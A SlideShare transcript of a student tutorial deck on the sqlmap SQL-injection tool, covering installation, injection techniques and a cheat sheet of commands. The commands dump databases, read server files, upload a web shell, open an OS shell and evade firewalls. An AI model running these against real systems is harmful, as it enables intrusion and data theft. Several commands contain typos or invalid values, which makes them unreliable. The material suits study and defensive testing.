SlideShare a Scribd company logo
SQLMAP
Created By – Siddharth Wagh
An open source
pentesting tool
Mostly used for web
applicaton pentesting
An python based tool
Exploits vulnerabilities
in databases
Supports a wide
range of databases
Comes pre-installed
in kali linux
Bernardo Damele
Bernardo took-over the
sqlmap project originally
developed by Daniele
Bellucci, promoted and
presented it at black hat
Europe in 2009.
Miroslav Stampar
Miroslav got a call from the
developers and joined the
project in 2009. Miroslav
and bernando released a
stable version(0.8) of sqlmap
in 2010.
 In windows : Before installing sqlmap we need to make sure that the system has python installed.
To install python visit the link and follow the steps:
https://www.python.org/downloads/
After installing python download sqlmap from the given link:
https://sqlmap.org/
Follow the steps and instructions from the above link
 In kali linux: sqlmap comes pre installed in kali linux. Just start the bash shell and type sqlmap
 Ubuntu/other linux distros:
In https://www.ma-no.org/en/security/sqlmap-installation-and-usage-in-ubuntu-and-kali-linux
Follow the steps and instructions from above link
 In Mac:
https://macappstore.org/sqlmap/
Follow the steps and instructions from above link
MERCURY
Standard programming database
language used for relational
databases
MySQL, Oracle, Sybase, SQL
Server, Postgre are some
examples of relational
databases
DQL,DDL, DML, DCL are some
types of statements used in SQL
Developed by IBM in1970
recognized by ANSI and ISO
Ranked in top 10
vulnerabilities by
OWASP
Injects malicious code
in database
Can read, modify,
execute sensitive data
from the server
database
SQL INJECTION
Web
application
vulnerability
Hacker Web api server Victim’s Database
http://example.com?user=007 or ‘ 1=1;-- SELECT * FROM users WHERE user=001 or ‘ 1=1;--
Return the database containing all data
Hacker can access all data
 Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, union query-based,
stacked queries and out-of-band.
 Boolean-based blind: This technique relies on sending an SQL query to the database. This query forces the application to
return a boolean result(True/False), the content within the HTTP response will change, or remain the same. The result allows
an attacker to decide whether the query used returns true or false, even though no data from the database are recovered.
 Time-based blind: In this technique the attacker sends an query to the server to force a delay in the execution of the queries.
The response time indicates whether the result is true or false.
 Error-based: This technique forces the database to generate an error, giving the attacker information that can be used to
manipulate data in database.
 Union-based: This technique allows an attacker to extract information from the database quickly. This attack uses the sql union
operator. This attack allows the attacker to add a row to the existing database on the server.
 Stacked queries: In sql a semicolon(;) is used to terminate statements. By deleting the original query and adding new the
attacker can change data in the database. The semicolon allows the attacker to execute multiple statements into the database.
 Out-of-band: This technique mostly depends on features being enabled on the database server being used by the web
application. It occurs when an attacker is unable to use the same channel to launch the attack and gather results. This technique
rely on the database server’s ability to make DNS or HTTP requests to deliver data to an attacker. Such is the case with
Microsoft SQL Server’s xp_dirtree command, which can be used to make DNS requests to a server an attacker controls as well
as Oracle Database’s UTL_HTTP package, which can be used to send HTTP requests from SQL and PL/SQL to a server an
attacker controls.
SQLMAP supports MySQL, Oracle, PostgreSQL, Microsoft SQL
Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP
MaxDB, Informix, MariaDB, MemSQL, TiDB, CockroachDB,
HSQLDB, H2, MonetDB, Apache Derby, Amazon Redshift, Vertica,
Mckoi, Presto, Altibase, MimerSQL, CrateDB, Greenplum, Drizzle,
Apache Ignite, Cubrid, InterSystems Cache, IRIS, eXtremeDB,
FrontBase, Raima Database Manager, YugabyteDB and
Virtuoso database management systems.
LET’S START WITH SQLMAP
 Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address,
port and database name.
 Entirely, a range of entries or specific columns as per user's choice. The user can
Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
 Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
 Support to dump database tables also choose to dump only a range of characters from each column's entry.
 Support to search for specific database names, specific tables across all databases or specific columns across all databases
tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names
contain string like name and pass.
 Support to download and upload any file from the database server underlying file system when the database software is
MySQL, PostgreSQL or Microsoft SQL Server.
 Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system
when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
 Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying
operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface
(VNC) session as per user's choice.
 Support for database process user privilege escalation via metasploit's meterpreter getsystem command.
Basic syntax: sqlmap -u URL/-r FILE --function
 Get request: sqlmap -u http://example.com/page.php?id=1
 Using file: sqlmap -r request.txt
 Testing with pattern of URL’s: sqlmap -u http://example.com/page*/view --dbs
 Post request: sqlmap -u http://example.com/login.php --data “username=admin&password=admin&submit=submit” -p
username
 Using cookies: sqlmap -u http://example.com /enter.php --cookie=“PHPSESSID=4582s5545gfsg77854”
 Database enumaeration: sqlmap -u http://example.com/page.php?id=1 --dbs
 Identify current database: sqlmap -u http://example.com/page.php?id=1 --current-db
 Extract tables: sqlmap -u http://example.com/page.php?id=1 -D database --tables
 Extract columns: sqlmap -u http://example.com/page.php?id=1 -D database -T table_name --columns
 Dumping data: sqlmap -u http://example.com/page.php?id=1 –D database -T table_name -C colum_names --dump
 Multitreading: sqlmap -u http://example.com/page.php?id=1 --dbs --threads 5
 Null-connection: sqlmap -u http://example.com/page.php?id=1 --dbs --null-connection
 HTTP persistant connection: sqlmap -u http://example.com/page.php?id=1 --dbs --keep-alive
 Output prediction: sqlmap -u http://example.com/page.php?id=1 -D database -T table_name -C column_names --dump –predict-
output
 Checking privilages: sqlmap -u http://example.com/page.php?id=1 --privileages
 Reading files from the server: sqlmap -u http://example.com/page.php?id=1 --file-read=/etc/users
 Uploading files/shell: sqlmap -u http://example.com/page.php?id=1 --file-write=/root/shell.php --file-dest=/var/www/shell.php
 SQL shell: sqlmap -u http://example.cpm/page.php?id=1 --sql-shell
 OS shell: sqlmap -u http://example.com/page.php?id=1 --os-shell
 OS command exe without shell upload: sqlmap -u http://example.com/page.php?id=1 --os-cmd “username-a”
 Using proxy: sqlmap --proxy=“127.0.0.1:8080” -u http://example.com/page.php?id=1 --dbs
 Using proxy with credentials: sqlmap --proxy=“127.0.0.1:8080” --proxy-cred=username:password -u
http://example.com/page.php?id=1
 Crawling: sqlmap -u http://example.com/ --crawl=1
 Exploitation in verbose mode: sqlmap -u http://example.com/page.php?id=1 -v 3
 Bypassing WAF(web application firewall): sqlmap -u http://example.com/page.php?id=1 --tamper=apostrophemask
 Scanning key based authentication page: sqlmap -u http://example.com/page.php?id=1 --auth-file=
 To use default TOR network: sqlmap -u http://example.com/page.php?id=1 --tor
 Scanning with high risk and level: sqlmap -u http://example.com/page.php?id=1 --level=3 --risk=5
 Metasploit
 Acunetix
 Netsparker
 Intruder
 Beagle Security
 Appknox
 Sqlninja
 Detectify Deep Scan
 Havij
 BBQSQL
 Leviathan
 WhiteWidow
 Jsql
 Sqlmate
 Pybelt
 https://sqlmap.org/
 http://testphp.vulnweb.com/listproducts.php?cat=1
 https://owasp.org/
 https://www.g2.com/products/sqlmap/competitors/alternatives
 http://example.com/page.php?id=1
Sqlmap

More Related Content

What's hot

Object-oriented Programming-with C#
Object-oriented Programming-with C#Object-oriented Programming-with C#
Object-oriented Programming-with C#
Doncho Minkov
 
Whatis SQL Injection.pptx
Whatis SQL Injection.pptxWhatis SQL Injection.pptx
Whatis SQL Injection.pptx
Simplilearn
 
(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage
Petros Koutroumpis
 
Demo of security tool nessus - Network vulnerablity scanner
Demo of security tool nessus - Network vulnerablity scannerDemo of security tool nessus - Network vulnerablity scanner
Demo of security tool nessus - Network vulnerablity scanner
Ajit Dadresa
 
SQLMAP Tool Usage - A Heads Up
SQLMAP Tool Usage - A  Heads UpSQLMAP Tool Usage - A  Heads Up
SQLMAP Tool Usage - A Heads Up
Mindfire Solutions
 
Red Team Revenge - Attacking Microsoft ATA
Red Team Revenge - Attacking Microsoft ATARed Team Revenge - Attacking Microsoft ATA
Red Team Revenge - Attacking Microsoft ATA
Nikhil Mittal
 
iOS Application Penetration Testing for Beginners
iOS Application Penetration Testing for BeginnersiOS Application Penetration Testing for Beginners
iOS Application Penetration Testing for Beginners
RyanISI
 
Red Team Methodology - A Naked Look
Red Team Methodology - A Naked LookRed Team Methodology - A Naked Look
Red Team Methodology - A Naked Look
Jason Lang
 
Web Security: SQL Injection
Web Security: SQL InjectionWeb Security: SQL Injection
Web Security: SQL Injection
Vortana Say
 
[2B7]시즌2 멀티쓰레드프로그래밍이 왜 이리 힘드나요
[2B7]시즌2 멀티쓰레드프로그래밍이 왜 이리 힘드나요[2B7]시즌2 멀티쓰레드프로그래밍이 왜 이리 힘드나요
[2B7]시즌2 멀티쓰레드프로그래밍이 왜 이리 힘드나요
NAVER D2
 
Programming in Java: Arrays
Programming in Java: ArraysProgramming in Java: Arrays
Programming in Java: Arrays
Martin Chapman
 
OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014
OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014
OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014
Leonardo Nve Egea
 
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
DirkjanMollema
 
IDOR Know-How.pdf
IDOR Know-How.pdfIDOR Know-How.pdf
IDOR Know-How.pdf
Bhashit Pandya
 
Windows 10 Nt Heap Exploitation (Chinese version)
Windows 10 Nt Heap Exploitation (Chinese version)Windows 10 Nt Heap Exploitation (Chinese version)
Windows 10 Nt Heap Exploitation (Chinese version)
Angel Boy
 
Sql Injection Myths and Fallacies
Sql Injection Myths and FallaciesSql Injection Myths and Fallacies
Sql Injection Myths and Fallacies
Karwin Software Solutions LLC
 
JAVA PROGRAMMING - The Collections Framework
JAVA PROGRAMMING - The Collections Framework JAVA PROGRAMMING - The Collections Framework
JAVA PROGRAMMING - The Collections Framework
Jyothishmathi Institute of Technology and Science Karimnagar
 
Thick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdfThick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdf
SouvikRoy114738
 
Java Basic Oops Concept
Java Basic Oops ConceptJava Basic Oops Concept
Java Basic Oops Concept
atozknowledge .com
 
64 Methods for Mimikatz Execution
64 Methods for Mimikatz Execution64 Methods for Mimikatz Execution
64 Methods for Mimikatz Execution
Hadess
 

What's hot (20)

Object-oriented Programming-with C#
Object-oriented Programming-with C#Object-oriented Programming-with C#
Object-oriented Programming-with C#
 
Whatis SQL Injection.pptx
Whatis SQL Injection.pptxWhatis SQL Injection.pptx
Whatis SQL Injection.pptx
 
(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage(Ab)Using GPOs for Active Directory Pwnage
(Ab)Using GPOs for Active Directory Pwnage
 
Demo of security tool nessus - Network vulnerablity scanner
Demo of security tool nessus - Network vulnerablity scannerDemo of security tool nessus - Network vulnerablity scanner
Demo of security tool nessus - Network vulnerablity scanner
 
SQLMAP Tool Usage - A Heads Up
SQLMAP Tool Usage - A  Heads UpSQLMAP Tool Usage - A  Heads Up
SQLMAP Tool Usage - A Heads Up
 
Red Team Revenge - Attacking Microsoft ATA
Red Team Revenge - Attacking Microsoft ATARed Team Revenge - Attacking Microsoft ATA
Red Team Revenge - Attacking Microsoft ATA
 
iOS Application Penetration Testing for Beginners
iOS Application Penetration Testing for BeginnersiOS Application Penetration Testing for Beginners
iOS Application Penetration Testing for Beginners
 
Red Team Methodology - A Naked Look
Red Team Methodology - A Naked LookRed Team Methodology - A Naked Look
Red Team Methodology - A Naked Look
 
Web Security: SQL Injection
Web Security: SQL InjectionWeb Security: SQL Injection
Web Security: SQL Injection
 
[2B7]시즌2 멀티쓰레드프로그래밍이 왜 이리 힘드나요
[2B7]시즌2 멀티쓰레드프로그래밍이 왜 이리 힘드나요[2B7]시즌2 멀티쓰레드프로그래밍이 왜 이리 힘드나요
[2B7]시즌2 멀티쓰레드프로그래밍이 왜 이리 힘드나요
 
Programming in Java: Arrays
Programming in Java: ArraysProgramming in Java: Arrays
Programming in Java: Arrays
 
OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014
OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014
OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014
 
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
 
IDOR Know-How.pdf
IDOR Know-How.pdfIDOR Know-How.pdf
IDOR Know-How.pdf
 
Windows 10 Nt Heap Exploitation (Chinese version)
Windows 10 Nt Heap Exploitation (Chinese version)Windows 10 Nt Heap Exploitation (Chinese version)
Windows 10 Nt Heap Exploitation (Chinese version)
 
Sql Injection Myths and Fallacies
Sql Injection Myths and FallaciesSql Injection Myths and Fallacies
Sql Injection Myths and Fallacies
 
JAVA PROGRAMMING - The Collections Framework
JAVA PROGRAMMING - The Collections Framework JAVA PROGRAMMING - The Collections Framework
JAVA PROGRAMMING - The Collections Framework
 
Thick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdfThick Client Penetration Testing.pdf
Thick Client Penetration Testing.pdf
 
Java Basic Oops Concept
Java Basic Oops ConceptJava Basic Oops Concept
Java Basic Oops Concept
 
64 Methods for Mimikatz Execution
64 Methods for Mimikatz Execution64 Methods for Mimikatz Execution
64 Methods for Mimikatz Execution
 

Similar to Sqlmap

SQL Injection
SQL InjectionSQL Injection
SQL Injection
Abhinav Nair
 
Uniface 9.7 en PostgreSQL
Uniface 9.7 en PostgreSQLUniface 9.7 en PostgreSQL
Uniface 9.7 en PostgreSQL
Arjen van Vliet
 
Database Security Explained
Database Security ExplainedDatabase Security Explained
Database Security Explained
wensheng wei
 
Sql Injection 0wning Enterprise
Sql Injection 0wning EnterpriseSql Injection 0wning Enterprise
Sql Injection 0wning Enterprise
n|u - The Open Security Community
 
Backtrack Manual Part6
Backtrack Manual Part6Backtrack Manual Part6
Backtrack Manual Part6
Nutan Kumar Panda
 
Developing Real-Time Data Pipelines with Apache Kafka
Developing Real-Time Data Pipelines with Apache KafkaDeveloping Real-Time Data Pipelines with Apache Kafka
Developing Real-Time Data Pipelines with Apache Kafka
Joe Stein
 
Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...
Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...
Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...
Nati Shalom
 
Scaling asp.net websites to millions of users
Scaling asp.net websites to millions of usersScaling asp.net websites to millions of users
Scaling asp.net websites to millions of users
oazabir
 
Web hacking series part 3
Web hacking series part 3Web hacking series part 3
Web hacking series part 3
Aditya Kamat
 
Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...
Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...
Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...
Guido Schmutz
 
Sql injection manish file
Sql injection manish fileSql injection manish file
Sql injection manish file
yukta888
 
Practical OData
Practical ODataPractical OData
Practical OData
Vagif Abilov
 
Monitoring MySQL with Prometheus and Grafana
Monitoring MySQL with Prometheus and GrafanaMonitoring MySQL with Prometheus and Grafana
Monitoring MySQL with Prometheus and Grafana
Julien Pivotto
 
OSMC 2017 | Monitoring MySQL with Prometheus and Grafana by Julien Pivotto
OSMC 2017 | Monitoring  MySQL with Prometheus and Grafana by Julien PivottoOSMC 2017 | Monitoring  MySQL with Prometheus and Grafana by Julien Pivotto
OSMC 2017 | Monitoring MySQL with Prometheus and Grafana by Julien Pivotto
NETWAYS
 
Developing Realtime Data Pipelines With Apache Kafka
Developing Realtime Data Pipelines With Apache KafkaDeveloping Realtime Data Pipelines With Apache Kafka
Developing Realtime Data Pipelines With Apache Kafka
Joe Stein
 
Attques web
Attques webAttques web
Attques web
Tarek MOHAMED
 
Web application penetration using SQLMAP.
Web application penetration using SQLMAP.Web application penetration using SQLMAP.
Web application penetration using SQLMAP.
asmitaanpat
 
Advance Mobile Application Development class 01
Advance Mobile Application Development class 01Advance Mobile Application Development class 01
Advance Mobile Application Development class 01
Dr. Mazin Mohamed alkathiri
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
webhostingguy
 
Data Architectures for Robust Decision Making
Data Architectures for Robust Decision MakingData Architectures for Robust Decision Making
Data Architectures for Robust Decision Making
Gwen (Chen) Shapira
 

Similar to Sqlmap (20)

SQL Injection
SQL InjectionSQL Injection
SQL Injection
 
Uniface 9.7 en PostgreSQL
Uniface 9.7 en PostgreSQLUniface 9.7 en PostgreSQL
Uniface 9.7 en PostgreSQL
 
Database Security Explained
Database Security ExplainedDatabase Security Explained
Database Security Explained
 
Sql Injection 0wning Enterprise
Sql Injection 0wning EnterpriseSql Injection 0wning Enterprise
Sql Injection 0wning Enterprise
 
Backtrack Manual Part6
Backtrack Manual Part6Backtrack Manual Part6
Backtrack Manual Part6
 
Developing Real-Time Data Pipelines with Apache Kafka
Developing Real-Time Data Pipelines with Apache KafkaDeveloping Real-Time Data Pipelines with Apache Kafka
Developing Real-Time Data Pipelines with Apache Kafka
 
Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...
Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...
Designing a Scalable Twitter - Patterns for Designing Scalable Real-Time Web ...
 
Scaling asp.net websites to millions of users
Scaling asp.net websites to millions of usersScaling asp.net websites to millions of users
Scaling asp.net websites to millions of users
 
Web hacking series part 3
Web hacking series part 3Web hacking series part 3
Web hacking series part 3
 
Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...
Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...
Spark (Structured) Streaming vs. Kafka Streams - two stream processing platfo...
 
Sql injection manish file
Sql injection manish fileSql injection manish file
Sql injection manish file
 
Practical OData
Practical ODataPractical OData
Practical OData
 
Monitoring MySQL with Prometheus and Grafana
Monitoring MySQL with Prometheus and GrafanaMonitoring MySQL with Prometheus and Grafana
Monitoring MySQL with Prometheus and Grafana
 
OSMC 2017 | Monitoring MySQL with Prometheus and Grafana by Julien Pivotto
OSMC 2017 | Monitoring  MySQL with Prometheus and Grafana by Julien PivottoOSMC 2017 | Monitoring  MySQL with Prometheus and Grafana by Julien Pivotto
OSMC 2017 | Monitoring MySQL with Prometheus and Grafana by Julien Pivotto
 
Developing Realtime Data Pipelines With Apache Kafka
Developing Realtime Data Pipelines With Apache KafkaDeveloping Realtime Data Pipelines With Apache Kafka
Developing Realtime Data Pipelines With Apache Kafka
 
Attques web
Attques webAttques web
Attques web
 
Web application penetration using SQLMAP.
Web application penetration using SQLMAP.Web application penetration using SQLMAP.
Web application penetration using SQLMAP.
 
Advance Mobile Application Development class 01
Advance Mobile Application Development class 01Advance Mobile Application Development class 01
Advance Mobile Application Development class 01
 
SQL Server Security - Attack
SQL Server Security - Attack SQL Server Security - Attack
SQL Server Security - Attack
 
Data Architectures for Robust Decision Making
Data Architectures for Robust Decision MakingData Architectures for Robust Decision Making
Data Architectures for Robust Decision Making
 

Recently uploaded

National Security Agency - NSA mobile device best practices
National Security Agency - NSA mobile device best practicesNational Security Agency - NSA mobile device best practices
National Security Agency - NSA mobile device best practices
Quotidiano Piemontese
 
June Patch Tuesday
June Patch TuesdayJune Patch Tuesday
June Patch Tuesday
Ivanti
 
GenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizationsGenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizations
kumardaparthi1024
 
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing InstancesEnergy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
Alpen-Adria-Universität
 
UI5 Controls simplified - UI5con2024 presentation
UI5 Controls simplified - UI5con2024 presentationUI5 Controls simplified - UI5con2024 presentation
UI5 Controls simplified - UI5con2024 presentation
Wouter Lemaire
 
WeTestAthens: Postman's AI & Automation Techniques
WeTestAthens: Postman's AI & Automation TechniquesWeTestAthens: Postman's AI & Automation Techniques
WeTestAthens: Postman's AI & Automation Techniques
Postman
 
Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024
Jason Packer
 
Best 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERPBest 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERP
Pixlogix Infotech
 
Introduction of Cybersecurity with OSS at Code Europe 2024
Introduction of Cybersecurity with OSS  at Code Europe 2024Introduction of Cybersecurity with OSS  at Code Europe 2024
Introduction of Cybersecurity with OSS at Code Europe 2024
Hiroshi SHIBATA
 
How to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptxHow to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptx
danishmna97
 
20240609 QFM020 Irresponsible AI Reading List May 2024
20240609 QFM020 Irresponsible AI Reading List May 202420240609 QFM020 Irresponsible AI Reading List May 2024
20240609 QFM020 Irresponsible AI Reading List May 2024
Matthew Sinclair
 
Skybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoptionSkybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoption
Tatiana Kojar
 
5th LF Energy Power Grid Model Meet-up Slides
5th LF Energy Power Grid Model Meet-up Slides5th LF Energy Power Grid Model Meet-up Slides
5th LF Energy Power Grid Model Meet-up Slides
DanBrown980551
 
Driving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success StoryDriving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success Story
Safe Software
 
Choosing The Best AWS Service For Your Website + API.pptx
Choosing The Best AWS Service For Your Website + API.pptxChoosing The Best AWS Service For Your Website + API.pptx
Choosing The Best AWS Service For Your Website + API.pptx
Brandon Minnick, MBA
 
Artificial Intelligence for XMLDevelopment
Artificial Intelligence for XMLDevelopmentArtificial Intelligence for XMLDevelopment
Artificial Intelligence for XMLDevelopment
Octavian Nadolu
 
GraphRAG for Life Science to increase LLM accuracy
GraphRAG for Life Science to increase LLM accuracyGraphRAG for Life Science to increase LLM accuracy
GraphRAG for Life Science to increase LLM accuracy
Tomaz Bratanic
 
Project Management Semester Long Project - Acuity
Project Management Semester Long Project - AcuityProject Management Semester Long Project - Acuity
Project Management Semester Long Project - Acuity
jpupo2018
 
Digital Marketing Trends in 2024 | Guide for Staying Ahead
Digital Marketing Trends in 2024 | Guide for Staying AheadDigital Marketing Trends in 2024 | Guide for Staying Ahead
Digital Marketing Trends in 2024 | Guide for Staying Ahead
Wask
 
Presentation of the OECD Artificial Intelligence Review of Germany
Presentation of the OECD Artificial Intelligence Review of GermanyPresentation of the OECD Artificial Intelligence Review of Germany
Presentation of the OECD Artificial Intelligence Review of Germany
innovationoecd
 

Recently uploaded (20)

National Security Agency - NSA mobile device best practices
National Security Agency - NSA mobile device best practicesNational Security Agency - NSA mobile device best practices
National Security Agency - NSA mobile device best practices
 
June Patch Tuesday
June Patch TuesdayJune Patch Tuesday
June Patch Tuesday
 
GenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizationsGenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizations
 
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing InstancesEnergy Efficient Video Encoding for Cloud and Edge Computing Instances
Energy Efficient Video Encoding for Cloud and Edge Computing Instances
 
UI5 Controls simplified - UI5con2024 presentation
UI5 Controls simplified - UI5con2024 presentationUI5 Controls simplified - UI5con2024 presentation
UI5 Controls simplified - UI5con2024 presentation
 
WeTestAthens: Postman's AI & Automation Techniques
WeTestAthens: Postman's AI & Automation TechniquesWeTestAthens: Postman's AI & Automation Techniques
WeTestAthens: Postman's AI & Automation Techniques
 
Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024Columbus Data & Analytics Wednesdays - June 2024
Columbus Data & Analytics Wednesdays - June 2024
 
Best 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERPBest 20 SEO Techniques To Improve Website Visibility In SERP
Best 20 SEO Techniques To Improve Website Visibility In SERP
 
Introduction of Cybersecurity with OSS at Code Europe 2024
Introduction of Cybersecurity with OSS  at Code Europe 2024Introduction of Cybersecurity with OSS  at Code Europe 2024
Introduction of Cybersecurity with OSS at Code Europe 2024
 
How to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptxHow to Get CNIC Information System with Paksim Ga.pptx
How to Get CNIC Information System with Paksim Ga.pptx
 
20240609 QFM020 Irresponsible AI Reading List May 2024
20240609 QFM020 Irresponsible AI Reading List May 202420240609 QFM020 Irresponsible AI Reading List May 2024
20240609 QFM020 Irresponsible AI Reading List May 2024
 
Skybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoptionSkybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoption
 
5th LF Energy Power Grid Model Meet-up Slides
5th LF Energy Power Grid Model Meet-up Slides5th LF Energy Power Grid Model Meet-up Slides
5th LF Energy Power Grid Model Meet-up Slides
 
Driving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success StoryDriving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success Story
 
Choosing The Best AWS Service For Your Website + API.pptx
Choosing The Best AWS Service For Your Website + API.pptxChoosing The Best AWS Service For Your Website + API.pptx
Choosing The Best AWS Service For Your Website + API.pptx
 
Artificial Intelligence for XMLDevelopment
Artificial Intelligence for XMLDevelopmentArtificial Intelligence for XMLDevelopment
Artificial Intelligence for XMLDevelopment
 
GraphRAG for Life Science to increase LLM accuracy
GraphRAG for Life Science to increase LLM accuracyGraphRAG for Life Science to increase LLM accuracy
GraphRAG for Life Science to increase LLM accuracy
 
Project Management Semester Long Project - Acuity
Project Management Semester Long Project - AcuityProject Management Semester Long Project - Acuity
Project Management Semester Long Project - Acuity
 
Digital Marketing Trends in 2024 | Guide for Staying Ahead
Digital Marketing Trends in 2024 | Guide for Staying AheadDigital Marketing Trends in 2024 | Guide for Staying Ahead
Digital Marketing Trends in 2024 | Guide for Staying Ahead
 
Presentation of the OECD Artificial Intelligence Review of Germany
Presentation of the OECD Artificial Intelligence Review of GermanyPresentation of the OECD Artificial Intelligence Review of Germany
Presentation of the OECD Artificial Intelligence Review of Germany
 

Sqlmap

  • 1. SQLMAP Created By – Siddharth Wagh
  • 2. An open source pentesting tool Mostly used for web applicaton pentesting An python based tool Exploits vulnerabilities in databases Supports a wide range of databases Comes pre-installed in kali linux
  • 3. Bernardo Damele Bernardo took-over the sqlmap project originally developed by Daniele Bellucci, promoted and presented it at black hat Europe in 2009. Miroslav Stampar Miroslav got a call from the developers and joined the project in 2009. Miroslav and bernando released a stable version(0.8) of sqlmap in 2010.
  • 4.  In windows : Before installing sqlmap we need to make sure that the system has python installed. To install python visit the link and follow the steps: https://www.python.org/downloads/ After installing python download sqlmap from the given link: https://sqlmap.org/ Follow the steps and instructions from the above link  In kali linux: sqlmap comes pre installed in kali linux. Just start the bash shell and type sqlmap  Ubuntu/other linux distros: In https://www.ma-no.org/en/security/sqlmap-installation-and-usage-in-ubuntu-and-kali-linux Follow the steps and instructions from above link  In Mac: https://macappstore.org/sqlmap/ Follow the steps and instructions from above link
  • 5.
  • 6.
  • 7. MERCURY Standard programming database language used for relational databases MySQL, Oracle, Sybase, SQL Server, Postgre are some examples of relational databases DQL,DDL, DML, DCL are some types of statements used in SQL Developed by IBM in1970 recognized by ANSI and ISO
  • 8. Ranked in top 10 vulnerabilities by OWASP Injects malicious code in database Can read, modify, execute sensitive data from the server database SQL INJECTION Web application vulnerability
  • 9. Hacker Web api server Victim’s Database http://example.com?user=007 or ‘ 1=1;-- SELECT * FROM users WHERE user=001 or ‘ 1=1;-- Return the database containing all data Hacker can access all data
  • 10.  Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, union query-based, stacked queries and out-of-band.  Boolean-based blind: This technique relies on sending an SQL query to the database. This query forces the application to return a boolean result(True/False), the content within the HTTP response will change, or remain the same. The result allows an attacker to decide whether the query used returns true or false, even though no data from the database are recovered.  Time-based blind: In this technique the attacker sends an query to the server to force a delay in the execution of the queries. The response time indicates whether the result is true or false.
